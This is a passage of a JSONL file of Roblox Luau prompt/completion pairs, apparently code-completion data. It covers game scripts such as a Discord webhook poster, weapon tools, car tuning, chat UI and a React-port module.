webHook:post(config,host)\n\tlocal data = nil\n\tlocal success = pcall(function()\n\t\tdata = game:GetService(\"HttpService\"):JSONEncode(config)\n\tend)\n\tif not success then warn(\"Webhook can't be converted to JSON\") return end\n\tgame:GetService(\"HttpService\"):PostAsync(\"https://discordapp.com/api/webhooks/\"..self.id..\"/\"..self.key,data)\nend\n\nreturn webHook\n"} +{"prompt": "-- Death Messages - Message handler @ JDLENL 3/22/20\n-- Please consider accrediting me in the description! It'd be nice of you.\n-- This is the part that shows the death messages in chat", "completion": "\n\ngame:GetService(\"ReplicatedStorage\"):WaitForChild(\"DeathMessage\").OnClientEvent:Connect(function(Message)\n\tlocal s = game:GetService(\"StarterGui\")\n\ts:SetCore(\"ChatMakeSystemMessage\",{\n\t\tText = Message;\n\t\t-- you can change the death message color here: default = red\n\t\tColor = Color3.new(1,.2,0);\n\t})\nend)\n"} +{"prompt": "--Rainbow Sparkling Trail--", "completion": "\n\nlocal function AttachParticleControl(source_part)\n\t\n\tlocal prtc = nil\n\t\n\tlocal function Start()\n\t\tprtc = script.Sparkle:clone()\n\t\tprtc.Parent = source_part\n\tend\n\t\n\tlocal function Update()\n\t\t\n\tend\n\t\n\tlocal function Stop()\n\t\tif prtc ~= nil then\n\t\t\tprtc:destroy()\n\t\t\tprtc = nil\n\t\tend\n\tend\n\t\n\treturn {Start = Start, Update = Update, Stop = Stop}\nend\n\nreturn AttachParticleControl\n"} +{"prompt": "-- ROBLOX DEVIATION: Ignore enableComponentStackLocations\n-- local ReactFeatureFlags = require(script.Parent.ReactFeatureFlags)\n-- local enableComponentStackLocations = ReactFeatureFlags.enableComponentStackLocations", "completion": "\n\nlocal ReactSymbols = require(script.Parent.ReactSymbols)\nlocal REACT_SUSPENSE_TYPE = ReactSymbols.REACT_SUSPENSE_TYPE\nlocal REACT_SUSPENSE_LIST_TYPE = ReactSymbols.REACT_SUSPENSE_LIST_TYPE\nlocal REACT_FORWARD_REF_TYPE = ReactSymbols.REACT_FORWARD_REF_TYPE\nlocal REACT_MEMO_TYPE = ReactSymbols.REACT_MEMO_TYPE\nlocal REACT_BLOCK_TYPE = ReactSymbols.REACT_BLOCK_TYPE\nlocal REACT_LAZY_TYPE = ReactSymbols.REACT_LAZY_TYPE\n\nlocal ConsolePatchingDev = require(script.Parent[\"ConsolePatchingDev.roblox\"])\nlocal disableLogs = ConsolePatchingDev.disableLogs\nlocal reenableLogs = ConsolePatchingDev.reenableLogs\n\nlocal ReactSharedInternals = require(script.Parent.ReactSharedInternals)\nlocal ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher\n"} +{"prompt": "-----------------\n--| Functions |--\n-----------------", "completion": "\n\nlocal function OnActivated()\n\tlocal myModel = MyPlayer.Character\n\tif Tool.Enabled and myModel and myModel:FindFirstChild('Humanoid') and myModel.Humanoid.Health > 0 then\n\t\tTool.Enabled = false\n\n\t\t-- Create a clone of Rocket and set its color\n\t\tlocal rocketClone = Rocket:Clone()\n\t\tDebrisService:AddItem(rocketClone, 30)\n\t\trocketClone.BrickColor = MyPlayer.TeamColor\n\n\t\t-- Position the rocket clone and launch!\n\t\tlocal spawnPosition = (ToolHandle.CFrame * CFrame.new(2, 0, 0)).p\n\t\trocketClone.CFrame = CFrame.new(spawnPosition, myModel.Humanoid.TargetPoint) --NOTE: This must be done before assigning Parent\n\t\trocketClone.Velocity = rocketClone.CFrame.lookVector * ROCKET_SPEED --NOTE: This should be done before assigning Parent\n\t\trocketClone.Parent = Workspace\n\n\t\twait(RELOAD_TIME)\n\n\t\tTool.Enabled = true\n\tend\nend\n"} +{"prompt": "-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio\n-- These are the IDs of the piano sounds.", "completion": "\n\nsettings.SoundSource = Piano.Keys.KeyBox\n\nsettings.CameraCFrame = CFrame.new(\n\t(Box.CFrame * CFrame.new(0, 0, 1)).p, -- +z is towards player\n\t(Box.CFrame * CFrame.new(0, 0, 0)).p\n)"} +{"prompt": "-- events", "completion": "\n\nREMOTES.Melee.OnServerEvent:connect(function(player, action, item, ...)\n\tlocal character\t= player.Character\n\tif character then\n\t\tlocal equipped\t= character.Equipped.Value\n\t\t\n\t\tif item == equipped then\n\t\t\tif action == \"Init\" then\n\t\t\t\tlocal index\t\t= ...\n\t\t\t\tlocal animation\t= item.Animations[\"Attack\" .. tostring(index)]\n\t\t\t\tlocal timeout\t= 0\n\t\t\t\t\n\t\t\t\trepeat\n\t\t\t\t\tRunService.Stepped:wait()\n\t\t\t\t\tfor _, track in pairs(character.Humanoid:GetPlayingAnimationTracks()) do\n\t\t\t\t\t\tif track.Animation.AnimationId == animation.AnimationId then\n\t\t\t\t\t\t\tif track.Length == 0 then\n\t\t\t\t\t\t\t\trepeat RunService.Stepped:wait() until track.Length ~= 0\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\ttimeout\t= track.Length\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tuntil timeout ~= 0\n\t\t\t\t\n\t\t\t\tInit(player, item, timeout)\n\t\t\t\t\n\t\t\t\tfor _, p in pairs(Players:GetPlayers()) do\n\t\t\t\t\tif p ~= player then\n\t\t\t\t\t\tREMOTES.Effect:FireClient(p, \"Swing\", item, timeout)\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telseif action == \"Hit\" then\n\t\t\t\tlocal info\t= inits[player]\n\t\t\t\tif info then\n\t\t\t\t\tif info.Item == item then\n\t\t\t\t\t\tif tick() <= info.Timeout then\n\t\t\t\t\t\t\tlocal humanoid\t= ...\n\t\t\t\t\t\t\tif DAMAGE:PlayerCanDamage(player, humanoid) then\n\t\t\t\t\t\t\t\tlocal otherChar\t= humanoid.Parent\n\t\t\t\t\t\t\t\tlocal config\t= require(item.Config)\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tlocal offset\t= otherChar.HumanoidRootPart.Position - character.HumanoidRootPart.Position\n\t\t\t\t\t\t\t\tlocal distance\t= offset.Magnitude\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tif distance < MAX_DISTANCE then\n\t\t\t\t\t\t\t\t\tif humanoid.Health > 0 then\n\t\t\t\t\t\t\t\t\t\tlocal down\t= humanoid:FindFirstChild(\"Down\")\n\t\t\t\t\t\t\t\t\t\tlocal alreadyDowned\t= false\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tif down then\n\t\t\t\t\t\t\t\t\t\t\talreadyDowned\t= down.Value\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tlocal damage\t= config.Damage\n\t\t\t\t\t\t\t\t\t\tDAMAGE:Damage(humanoid, damage, player)\n\t\t\t\t\t\t\t\t\t\totherChar.HumanoidRootPart.Velocity\t= otherChar.HumanoidRootPart.Velocity + offset.Unit * config.Knockback\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tlocal otherPlayer\t= Players:GetPlayerFromCharacter(humanoid.Parent)\n\t\t\t\t\t\t\t\t\t\tif otherPlayer then\n\t\t\t\t\t\t\t\t\t\t\tREMOTES.HitIndicator:FireClient(otherPlayer, offset, damage)\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tif humanoid.Health <= 0 then\n\t\t\t\t\t\t\t\t\t\t\tlocal killDist\t= math.floor(offset.Magnitude + 0.5)\n\t\t\t\t\t\t\t\t\t\t\tSTAT_SCRIPT.FurthestKill:Fire(player, killDist)\n\t\t\t\t\t\t\t\t\t\t\tREMOTES.Killfeed:FireAllClients(player.Name, humanoid.Parent.Name, item.Name, killDist)\n\t\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend\nend)\n\nPlayers.PlayerRemoving:connect(function(player)\n\tif inits[player] then\n\t\tinits[player]\t= nil\n\tend\nend)\n"} +{"prompt": "-- Boat settings", "completion": "\nlocal BoatSpeed = 6\nlocal TurnSpeed = 0.9\nlocal TiltPower = 4.5*(10^6)\n\nfunction Examine(Number)\n\tif Number == 1 then\n\t\treturn 1\n\telseif Number == -1 then\n\t\treturn 1\n\telse return Number end\nend\n\nwhile wait() do"} +{"prompt": "--[[ Roblox Services ]]", "completion": "--\nlocal Players = game:GetService(\"Players\")\nlocal RunService = game:GetService(\"RunService\")\nlocal UserInputService = game:GetService(\"UserInputService\")\nlocal Workspace = game:GetService(\"Workspace\")\nlocal UserGameSettings = UserSettings():GetService(\"UserGameSettings\")\n"} +{"prompt": "-------------------------------", "completion": "\n\nlocal tool = script.Parent\nlocal player = game.Players.LocalPlayer\nwhile player.Character == nil do wait() end\nlocal char = player.Character\nwhile char:FindFirstChild(\"Humanoid\") == nil do wait() end\nlocal hum = char:FindFirstChild(\"Humanoid\")\n\nlocal enabled = true\nlocal equipped = false\nlocal ischarging = false\nlocal Config = tool:FindFirstChild(\"Config\")\nlocal Direction = Config:FindFirstChild(\"Direction\")\nDirection.Value = \"Up\"\n\ntool.Selected:connect(function(mouse)\n\tequipped = true\n\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\tmouse.Button1Down:connect(function()\n\t\tif not enabled then return end\n\t\tif hum == nil then return end\n\t\tif hum.Health <= 0 then return end\n\t\tif mouse == nil then return end\n\t\tif not ischarging then\n\t\t\tischarging = true\n\t\t\tenabled = false\n\t\t\tscript.Parent.ReleaseProjectile:FireServer(mouse.Hit.p)\n\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunWaitCursor.png\"\n\t\t\twait(RELOAD_TIME)\n\t\t\tmouse.Icon = \"rbxasset://textures\\\\GunCursor.png\"\n\t\t\tenabled = true\n\t\t\tischarging = false\n\t\tend\n\tend)\n\tmouse.KeyDown:connect(function(key)\n\t\tkey = key:lower()\n\t\tif key == \"q\" then\n\t\t\tif Direction.Value == \"Up\" then\n\t\t\t\tDirection.Value = \"Down\"\n\t\t\telseif Direction.Value == \"Down\" then\n\t\t\t\tDirection.Value = \"Left\"\n\t\t\telseif Direction.Value == \"Left\" then\n\t\t\t\tDirection.Value = \"Right\"\n\t\t\telseif Direction.Value == \"Right\" then\n\t\t\t\tDirection.Value = \"Up\"\n\t\t\tend\n\t\telseif key == \"e\" then\n\t\t\tif Direction.Value == \"Up\" then\n\t\t\t\tDirection.Value = \"Right\"\n\t\t\telseif Direction.Value == \"Right\" then\n\t\t\t\tDirection.Value = \"Left\"\n\t\t\telseif Direction.Value == \"Left\" then\n\t\t\t\tDirection.Value = \"Down\"\n\t\t\telseif Direction.Value == \"Down\" then\n\t\t\t\tDirection.Value = \"Up\"\n\t\t\tend\n\t\tend\n\tend)\nend)\n\ntool.Deselected:connect(function(mouse)\n\tequipped = false\nend)\n\n\n"} +{"prompt": "--[=[\n\tConstructs a new Signal\n\n\t@return Signal\n]=]", "completion": "\nfunction Signal.new(): Signal\n\tlocal self = setmetatable({\n\t\t_handlerListHead = false,\n\t\t_proxyHandler = nil,\n\t}, Signal)\n\treturn self\nend\n"} +{"prompt": "-- initialize to idle", "completion": "\nplayAnimation(\"idle\", 0.1, AnimController)\npose = \"Standing\"\n\nwhile Figure.Parent~=nil do\n\tlocal _, time = wait(0.1)\n\tmove(time)\nend\n\n\n"} +{"prompt": "--[[\n\tAntiGravityCoil\n\tTool that isn't Tree'd\n\tPhoenix\n]]", "completion": "\n\nlocal Tool = script.Parent \nlocal Player = Tool.Parent.Parent\nlocal Died = nil\nlocal Equipped = false\n\nlocal IsAlive = function()\n\tif Player.Character then\n\t\tif Player.Character:FindFirstChild(\"Humanoid\") then\n\t\t\tif Player.Character:FindFirstChild(\"Humanoid\").Health > 0 then\n\t\t\t\treturn true\n\t\t\tend\n\t\tend\n\tend\n\n\treturn false\nend\n\n\nlocal Humanoid = function()\n\tif Player.Character then\n\t\tif Player.Character:FindFirstChild(\"Humanoid\") then\n\t\t\treturn Player.Character:FindFirstChild(\"Humanoid\")\n\t\tend\n\tend\nend\n\n\nlocal Weld = function(From, To)\n\tlocal WeldIns = Instance.new(\"WeldConstraint\")\n\tWeldIns.Part0 = From\n\tWeldIns.Part1 = To\n\tWeldIns.Parent = From\n\tWeldIns.Name = \"Weld\"\nend\n\nlocal Welding = function(WeldTree, OverrideCenter)\n\tlocal Center = nil\n\t\n\tif OverrideCenter == nil then\n\t\tif WeldTree:FindFirstChildOfClass(\"MeshPart\") then\n\t\t\tCenter = WeldTree:FindFirstChildOfClass(\"MeshPart\")\n\t\telseif WeldTree:FindFirstChildOfClass(\"Part\") then\n\t\t\tCenter = WeldTree:FindFirstChildOfClass(\"Part\")\n\t\telseif WeldTree:FindFirstChildOfClass(\"UnionOperation\") then\n\t\t\tCenter = WeldTree:FindFirstChildOfClass(\"UnionOperation\")\n\t\tend\n\telse\n\t\tCenter = OverrideCenter\n\tend\n\n\tif Center ~= nil then\n\t\tfor Index, ToWeld in pairs(WeldTree:GetDescendants()) do\n\t\t\tif ToWeld:IsA(\"BasePart\") then\n\t\t\t\tWeld(ToWeld, Center)\n\t\t\tend\n\t\tend\n\telse\n\t\tprint(\"Could not get a part to weld to! Attempted \".. tostring(WeldTree:GetFullName()).. \" By: \".. script:GetFullName())\n\tend\nend\n\n\nlocal Enable = function()\n\tgame:GetService(\"ServerScriptService\").Server.Events.ZGSet:Fire(Player, true, false)\nend\n\n\nlocal Disable = function()\n\tgame:GetService(\"ServerScriptService\").Server.Events.ZGSet:Fire(Player, false, false)\nend\n\n\nTool.Equipped:Connect(function()\n\tif Equipped == true then\n\t\treturn\n\tend\n\t\n\tif IsAlive() == true then\n\t\tEquipped = true\n\t\t\n\t\tDied = Humanoid().Died:Connect(function()\n\t\t\tDisable()\n\t\t\tDied:Disconnect()\n\t\t\tDied = nil\n\t\tend)\n\n\t\tEnable()\n\n\t\tTool.Handle.CoilSound:Play()\n\tend\nend)\n\nTool.Unequipped:Connect(function()\n\tif Equipped == false then\n\t\treturn\n\tend\n\t\n\tEquipped = false\n\t\n\tif Died ~= nil then\n\t\tDied:Disconnect()\n\t\tDied = nil\n\tend\n\n\tDisable()\nend)\n\nWelding(Tool.Model, Tool.Handle)\n"} +{"prompt": "--//# Graphics+\n--//# Version: 1.14 | Featuring Terrain+", "completion": "\n"} +{"prompt": "-- Register explorer pane toggling hotkeys", "completion": "\nAssignHotkey({ 'LeftShift', 'H' }, ToggleExplorer)\nAssignHotkey({ 'RightShift', 'H' }, ToggleExplorer)\n"} +{"prompt": "-- FIXME: This should be updated to be closer to the actual\n-- `Object.preventExtensions` functionality in JS. This requires additional\n-- support from the VM", "completion": "\nlocal function preventExtensions(t: T & (Object | Array)): T\n\tlocal name = tostring(t)\n\n\treturn (\n\t\tsetmetatable(t :: any, {\n\t\t\t__newindex = function(self, key, value)\n\t\t\t\tlocal message = (\"%q (%s) is not a valid member of %s\"):format(tostring(key), typeof(key), name)\n\n\t\t\t\terror(message, 2)\n\t\t\tend,\n\t\t\t__metatable = false,\n\t\t}) :: any\n\t) :: T\nend\n\nreturn preventExtensions\n"} +{"prompt": "--[[Transmission]]", "completion": "\n\tTune.TransModes\t\t= {\"Auto\", \"Semi\", \"Manual\"}\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Auto\"\t\t: Automatic shifting\n\t\t\"Semi\"\t\t: Clutchless manual shifting, dual clutch transmission\n\t\t\"Manual\"\t: Manual shifting with clutch\n\t\t\n\t\t>Include within brackets\n\t\t\teg: {\"Semi\"} or {\"Auto\", \"Manual\"}\t\t\t\t\t\t\t\t\n\t\t>First mode is default mode\t\t\t\t\t\t\t\t\t\t\t\t\t]]\n\t\n\t--Automatic Settings\n\tTune.AutoShiftMode\t= \"Speed\"\t\t\t\t\t\t\t\t\t\t\t\t--[[\n\t[Modes]\n\t\t\"Speed\"\t\t: Shifts based on wheel speed\n\t\t\"RPM\"\t\t: Shifts based on RPM\t\t\t\t\t\t\t\t\t\t\t]]\t\n\tTune.AutoUpThresh\t= -200\t\t--Automatic upshift point \t(relative to peak RPM, positive = Over-rev)\n\tTune.AutoDownThresh = 1400\t\t--Automatic downshift point (relative to peak RPM, positive = Under-rev)\n\t\n\t--Gear Ratios\n\tTune.FinalDrive\t\t= 4.06\t\t\t-- Gearing determines top speed and wheel torque\n\tTune.Ratios\t\t\t= {\t\t\t\t-- Higher ratio = more torque, Lower ratio = higher top speed\n\t\t--[[Reverse]]\t3.70\t\t,\t-- Copy and paste a ratio to add a gear\n\t\t--[[Neutral]]\t0\t\t\t,\t-- Ratios can also be deleted\n\t\t--[[ 1 ]]\t\t3.53\t\t,\t-- Reverse, Neutral, and 1st gear are required\n\t\t--[[ 2 ]]\t\t2.04\t\t,\n\t\t--[[ 3 ]]\t\t1.42\t\t,\n\t\t--[[ 4 ]]\t\t0.97\t\t,\n\t\t--[[ 5 ]]\t\t0.82\t\t,\n\t\t--[[ 6 ]]\t\t0.52\t\t,\n\t}\n\tTune.FDMult\t\t\t= 1.5\t\t\t-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)\n\t"} +{"prompt": "--[[Engine]]", "completion": "\n\t--Torque Curve\n\tTune.Horsepower\t\t= 505\t\t--\t[TORQUE CURVE VISUAL]\n\tTune.IdleRPM\t\t= 700\t\t--\t\thttps://www.desmos.com/calculator/2uo3hqwdhf\n\tTune.PeakRPM\t\t= 6000\t\t--\t\tUse sliders to manipulate values\n\tTune.Redline\t\t= 6700\t\t--\t\tCopy and paste slider values into the respective tune values\n\tTune.EqPoint\t\t= 5500\n\tTune.PeakSharpness\t= 7.5\n\tTune.CurveMult\t\t= 0.16\n\t\n\t--Incline Compensation\n\tTune.InclineComp\t= 1.7\t\t\t-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)\n\t\n\t--Misc\n\tTune.RevAccel\t\t= 150\t\t-- RPM acceleration when clutch is off\n\tTune.RevDecay\t\t= 75\t\t-- RPM decay when clutch is off\n\tTune.RevBounce\t\t= 500\t\t-- RPM kickback from redline\n\tTune.IdleThrottle\t= 3\t\t\t-- Percent throttle at idle\n\tTune.ClutchTol\t\t= 500\t\t-- Clutch engagement threshold (higher = faster response)\n\t"} +{"prompt": "--////////////////////////////// Methods\n--//////////////////////////////////////", "completion": "\nlocal methods = {}\nmethods.__index = methods\n\nlocal function CreateGuiObjects()\n\tlocal BaseFrame = Instance.new(\"Frame\")\n\tBaseFrame.Selectable = false\n\tBaseFrame.Size = UDim2.new(1, 0, 1, 0)\n\tBaseFrame.BackgroundTransparency = 1\n\n\tlocal Scroller = Instance.new(\"ScrollingFrame\")\n\tScroller.Selectable = ChatSettings.GamepadNavigationEnabled\n\tScroller.Name = \"Scroller\"\n\tScroller.BackgroundTransparency = 1\n\tScroller.BorderSizePixel = 0\n\tScroller.Position = UDim2.new(0, 0, 0, 3)\n\tScroller.Size = UDim2.new(1, -4, 1, -6)\n\tScroller.CanvasSize = UDim2.new(0, 0, 0, 0)\n\tScroller.ScrollBarThickness = module.ScrollBarThickness\n\tScroller.Active = false\n\tScroller.Parent = BaseFrame\n\n\tlocal Layout\n\tif FlagFixChatMessageLogPerformance then\n\t\tLayout = Instance.new(\"UIListLayout\")\n\t\tLayout.SortOrder = Enum.SortOrder.LayoutOrder\n\t\tLayout.Parent = Scroller\n\tend\n\n\treturn BaseFrame, Scroller, Layout\nend\n\nfunction methods:Destroy()\n\tself.GuiObject:Destroy()\n\tself.Destroyed = true\nend\n\nfunction methods:SetActive(active)\n\tself.GuiObject.Visible = active\nend\n\nfunction methods:UpdateMessageFiltered(messageData)\n\tlocal messageObject = nil\n\tlocal searchIndex = 1\n\tlocal searchTable = self.MessageObjectLog\n\n\twhile (#searchTable >= searchIndex) do\n\t\tlocal obj = searchTable[searchIndex]\n\n\t\tif obj.ID == messageData.ID then\n\t\t\tmessageObject = obj\n\t\t\tbreak\n\t\tend\n\n\t\tsearchIndex = searchIndex + 1\n\tend\n\n\tif messageObject then\n\t\tlocal isScrolledDown = self:IsScrolledDown()\n\t\tmessageObject.UpdateTextFunction(messageData)\n\t\tif FlagFixChatMessageLogPerformance then\n\t\t\tself:PositionMessageLabelInWindow(messageObject, isScrolledDown)\n\t\telse\n\t\t\tself:ReorderAllMessages()\n\t\tend\n\tend\nend\n\nfunction methods:AddMessage(messageData)\n\tself:WaitUntilParentedCorrectly()\n\n\tlocal messageObject = MessageLabelCreator:CreateMessageLabel(messageData, self.CurrentChannelName)\n\tif messageObject == nil then\n\t\treturn\n\tend\n\n\ttable.insert(self.MessageObjectLog, messageObject)\n\tself:PositionMessageLabelInWindow(messageObject)\nend\n\nfunction methods:AddMessageAtIndex(messageData, index)\n\tlocal messageObject = MessageLabelCreator:CreateMessageLabel(messageData, self.CurrentChannelName)\n\tif messageObject == nil then\n\t\treturn\n\tend\n\n\ttable.insert(self.MessageObjectLog, index, messageObject)\n\n\tlocal wasScrolledToBottom = self:IsScrolledDown()\n\tself:ReorderAllMessages()\n\tif wasScrolledToBottom then\n\t\tself.Scroller.CanvasPosition = Vector2.new(0, math.max(0, self.Scroller.CanvasSize.Y.Offset - self.Scroller.AbsoluteSize.Y))\n\tend\nend\n\nfunction methods:RemoveLastMessage()\n\tself:WaitUntilParentedCorrectly()\n\n\tlocal lastMessage = self.MessageObjectLog[1]\n\t-- remove with FlagFixChatMessageLogPerformance\n\tlocal posOffset = UDim2.new(0, 0, 0, lastMessage.BaseFrame.AbsoluteSize.Y)\n\n\tlastMessage:Destroy()\n\ttable.remove(self.MessageObjectLog, 1)\n\n\tif not FlagFixChatMessageLogPerformance then\n\t\tfor i, messageObject in pairs(self.MessageObjectLog) do\n\t\t\tmessageObject.BaseFrame.Position = messageObject.BaseFrame.Position - posOffset\n\t\tend\n\n\t\tself.Scroller.CanvasSize = self.Scroller.CanvasSize - posOffset\n\tend\nend\n\nfunction methods:IsScrolledDown()\n\tlocal yCanvasSize = self.Scroller.CanvasSize.Y.Offset\n\tlocal yContainerSize = self.Scroller.AbsoluteWindowSize.Y\n\tlocal yScrolledPosition = self.Scroller.CanvasPosition.Y\n\n\tif FlagFixChatMessageLogPerformance then\n\t\treturn\n\t\t\tyCanvasSize < yContainerSize or\n\t\t\tyCanvasSize + yScrolledPosition >= yContainerSize - 5\n\telse\n\t\treturn (yCanvasSize < yContainerSize or\n\t\t\tyCanvasSize - yScrolledPosition <= yContainerSize + 5)\n\tend\nend\n\nfunction methods:PositionMessageLabelInWindow(messageObject, isScrolledDown)\n\tself:WaitUntilParentedCorrectly()\n\n\tlocal baseFrame = messageObject.BaseFrame\n\n\tif FlagFixChatMessageLogPerformance then\n\t\tif isScrolledDown == nil then\n\t\t\tisScrolledDown = self:IsScrolledDown()\n\t\tend\n\t\tbaseFrame.LayoutOrder = messageObject.ID\n\telse\n\t\tbaseFrame.Parent = self.Scroller\n\t\tbaseFrame.Position = UDim2.new(0, 0, 0, self.Scroller.CanvasSize.Y.Offset)\n\tend\n\n\tbaseFrame.Size = UDim2.new(1, 0, 0, messageObject.GetHeightFunction(self.Scroller.AbsoluteSize.X))\n\tif FlagFixChatMessageLogPerformance then\n\t\tbaseFrame.Parent = self.Scroller\n\tend\n\n\tif messageObject.BaseMessage then\n\t\tif FlagFixChatMessageLogPerformance then\n\t\t\tfor i = 1, 10 do\n\t\t\t\tif messageObject.BaseMessage.TextFits then\n\t\t\t\t\tbreak\n\t\t\t\tend\n\n\t\t\t\tlocal trySize = self.Scroller.AbsoluteSize.X - i\n\t\t\t\tbaseFrame.Size = UDim2.new(1, 0, 0, messageObject.GetHeightFunction(trySize))\n\t\t\tend\n\t\telse\n\t\t\tlocal trySize = self.Scroller.AbsoluteSize.X\n\t\t\tlocal minTrySize = math.min(self.Scroller.AbsoluteSize.X - 10, 0)\n\t\t\twhile not messageObject.BaseMessage.TextFits do\n\t\t\t\ttrySize = trySize - 1\n\t\t\t\tif trySize < minTrySize then\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\t\tbaseFrame.Size = UDim2.new(1, 0, 0, messageObject.GetHeightFunction(trySize))\n\t\t\tend\n\t\tend\n\tend\n\n\tif FlagFixChatMessageLogPerformance then\n\t\tif isScrolledDown then\n\t\t\tlocal scrollValue = self.Scroller.CanvasSize.Y.Offset - self.Scroller.AbsoluteSize.Y\n\t\t\tself.Scroller.CanvasPosition = Vector2.new(0, math.max(0, scrollValue))\n\t\tend\n\telse\n\t\tisScrolledDown = self:IsScrolledDown()\n\n\t\tlocal add = UDim2.new(0, 0, 0, baseFrame.Size.Y.Offset)\n\t\tself.Scroller.CanvasSize = self.Scroller.CanvasSize + add\n\n\t\tif isScrolledDown then\n\t\t\tself.Scroller.CanvasPosition = Vector2.new(0, math.max(0, self.Scroller.CanvasSize.Y.Offset - self.Scroller.AbsoluteSize.Y))\n\t\tend\n\tend\nend\n\nfunction methods:ReorderAllMessages()\n\tself:WaitUntilParentedCorrectly()\n\n\t--// Reordering / reparenting with a size less than 1 causes weird glitches to happen with scrolling as repositioning happens.\n\tif self.GuiObject.AbsoluteSize.Y < 1 then return end\n\n\tlocal oldCanvasPositon = self.Scroller.CanvasPosition\n\tlocal wasScrolledDown = self:IsScrolledDown()\n\n\tself.Scroller.CanvasSize = UDim2.new(0, 0, 0, 0)\n\tfor i, messageObject in pairs(self.MessageObjectLog) do\n\t\tself:PositionMessageLabelInWindow(messageObject)\n\tend\n\n\tif not wasScrolledDown then\n\t\tself.Scroller.CanvasPosition = oldCanvasPositon\n\tend\nend\n\nfunction methods:Clear()\n\tfor i, v in pairs(self.MessageObjectLog) do\n\t\tv:Destroy()\n\tend\n\tself.MessageObjectLog = {}\n\n\tif not FlagFixChatMessageLogPerformance then\n\t\tself.Scroller.CanvasSize = UDim2.new(0, 0, 0, 0)\n\tend\nend\n\nfunction methods:SetCurrentChannelName(name)\n\tself.CurrentChannelName = name\nend\n\nfunction methods:FadeOutBackground(duration)\n\t--// Do nothing\nend\n\nfunction methods:FadeInBackground(duration)\n\t--// Do nothing\nend\n\nfunction methods:FadeOutText(duration)\n\tfor i = 1, #self.MessageObjectLog do\n\t\tif self.MessageObjectLog[i].FadeOutFunction then\n\t\t\tself.MessageObjectLog[i].FadeOutFunction(duration, CurveUtil)\n\t\tend\n\tend\nend\n\nfunction methods:FadeInText(duration)\n\tfor i = 1, #self.MessageObjectLog do\n\t\tif self.MessageObjectLog[i].FadeInFunction then\n\t\t\tself.MessageObjectLog[i].FadeInFunction(duration, CurveUtil)\n\t\tend\n\tend\nend\n\nfunction methods:Update(dtScale)\n\tfor i = 1, #self.MessageObjectLog do\n\t\tif self.MessageObjectLog[i].UpdateAnimFunction then\n\t\t\tself.MessageObjectLog[i].UpdateAnimFunction(dtScale, CurveUtil)\n\t\tend\n\tend\nend\n"} +{"prompt": "-- Variables that will be used globally (throughout) the script\n-- Services", "completion": "\nlocal TweenService = game:GetService(\"TweenService\")\nlocal ContextActionService = game:GetService(\"ContextActionService\")\nlocal ReplicatedStorage = game:GetService(\"ReplicatedStorage\")\nlocal RunService = game:GetService(\"RunService\")\nlocal GuiService = game:GetService(\"GuiService\")\nlocal UserInputService = game:GetService(\"UserInputService\")\n"} +{"prompt": "---[[ Font Settings ]]", "completion": "\nmodule.DefaultFont = Enum.Font.Antique\nmodule.ChatBarFont = Enum.Font.Antique\n"} +{"prompt": "-- Decompiled with the Synapse X Luau decompiler.", "completion": "\n\nscript.Parent.MouseButton1Click:Connect(function()\n\tscript.Parent.Parent.Visible = not script.Parent.Parent.Visible\n\tscript.Parent.Parent.Parent.Frame.Visible = not script.Parent.Parent.Parent.Frame.Visible\nend);\n"} +{"prompt": "--if script.Parent.Storage.CurrentGear.Value == 1 then", "completion": "\n\tcarSeat.Parent.Parent.Wheels.FL.FLDisk.CanCollide = false\n\tcarSeat.Parent.Parent.Wheels.FR.FRDisk.CanCollide = false\n\tcarSeat.Parent.Parent.Wheels.RL.RLDisk.CanCollide = false\n\tcarSeat.Parent.Parent.Wheels.RR.RRDisk.CanCollide = false"} +{"prompt": "------------------------------------------------------------------------\n-- returns a suitably-formatted chunk name or id\n-- * from lobject.c, used in llex.c and ldebug.c\n-- * the result, out, is returned (was first argument)\n------------------------------------------------------------------------", "completion": "\nfunction luaX:chunkid(source, bufflen)\n local out\n local first = string.sub(source, 1, 1)\n if first == \"=\" then\n out = string.sub(source, 2, bufflen) -- remove first char\n else -- out = \"source\", or \"...source\"\n if first == \"@\" then\n source = string.sub(source, 2) -- skip the '@'\n bufflen = bufflen - #\" '...' \"\n local l = #source\n out = \"\"\n if l > bufflen then\n source = string.sub(source, 1 + l - bufflen) -- get last part of file name\n out = out..\"...\"\n end\n out = out..source\n else -- out = [string \"string\"]\n local len = string.find(source, \"[\\n\\r]\") -- stop at first newline\n len = len and (len - 1) or #source\n bufflen = bufflen - #(\" [string \\\"...\\\"] \")\n if len > bufflen then len = bufflen end\n out = \"[string \\\"\"\n if len < #source then -- must truncate?\n out = out..string.sub(source, 1, len)..\"...\"\n else\n out = out..source\n end\n out = out..\"\\\"]\"\n end\n end\n return out\nend\n"} +{"prompt": "--[[\n\tA method called by consumers of Roact to create a new component class.\n\tComponents can not be extended beyond this point, with the exception of\n\tPureComponent.\n]]", "completion": "\nfunction Component:extend(name)\n\tif config.typeChecks then\n\t\tassert(Type.of(self) == Type.StatefulComponentClass, \"Invalid `self` argument to `extend`.\")\n\t\tassert(typeof(name) 